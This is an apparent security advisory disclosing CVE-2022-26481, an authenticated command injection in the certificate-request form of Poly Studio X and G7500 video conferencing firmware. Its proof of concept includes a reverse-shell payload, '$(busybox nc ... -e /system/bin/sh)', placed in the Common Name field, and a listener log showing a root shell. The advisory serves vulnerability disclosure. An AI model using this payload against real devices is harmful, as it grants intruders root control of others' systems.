Vulnerability overview/description:
-----------------------------------
1) Authenticated Command Injection with Elevated Privileges (CVE-2022-26481)
An authenticated Command Injection vulnerability exists in the web interface when
creating a certificate. An attacker is able to execute commands with root privileges.


Proof of concept:
-----------------
1) Authenticated Command Injection with Elevated Privileges (CVE-2022-26481)
When being authenticated:

1. In the system web interface, go to Security > Certificates.
2. Select Create Certificate Signing Request (CSR).
3. In the Certificate Details form, complete the following fields:

Common Name (CN): $(busybox nc 10.0.0.1 8888 -e /system/bin/sh)

(steps taken from https://documents.polycom.com/bundle/polypartnermode-ag-3-1-1/page/t1919784.html)

The previously started nc listener receives a connection from the camera
as root:

$ nc -lvp 8888
connect to [10.0.0.1] from (UNKNOWN) [10.0.0.2]
$ pwd
/oem/polycom/bin
$ whoami
root


Vulnerable / tested versions:

At least the following firmware versions of Poly Studio X30, Studio X50, Studio X70 and
G7500 are affected:

- 3.5.0
- 3.6.0
